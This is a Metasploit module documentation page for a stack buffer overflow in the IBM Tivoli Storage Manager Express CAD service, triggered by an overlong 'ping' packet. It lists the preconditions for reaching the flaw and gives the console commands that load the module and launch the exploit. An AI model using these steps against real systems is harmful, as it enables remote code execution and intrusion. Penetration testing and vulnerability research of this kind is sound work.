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IBM Tivoli Storage Manager Express CAD Service Buffer Overflow

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IBM Tivoli Storage Manager Express CAD Service Buffer Overflow



This module exploits a stack buffer overflow in the IBM Tivoli Storage Manager Express CAD Service. By sending a "ping" packet containing a long string, an attacker can execute arbitrary code. NOTE: the dsmcad.exe service must be in a particular state (CadWaitingStatus = 1) in order for the vulnerable code to be reached. This state doesn't appear to be reachable when the TSM server is not running. This service does not restart.


  • jduck <jduck@metasploit.com>




Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use exploit/windows/misc/ibm_tsm_cad_ping
msf exploit(ibm_tsm_cad_ping) > show targets
msf exploit(ibm_tsm_cad_ping) > set TARGET < target-id >
msf exploit(ibm_tsm_cad_ping) > show options
    ...show and set options...
msf exploit(ibm_tsm_cad_ping) > exploit

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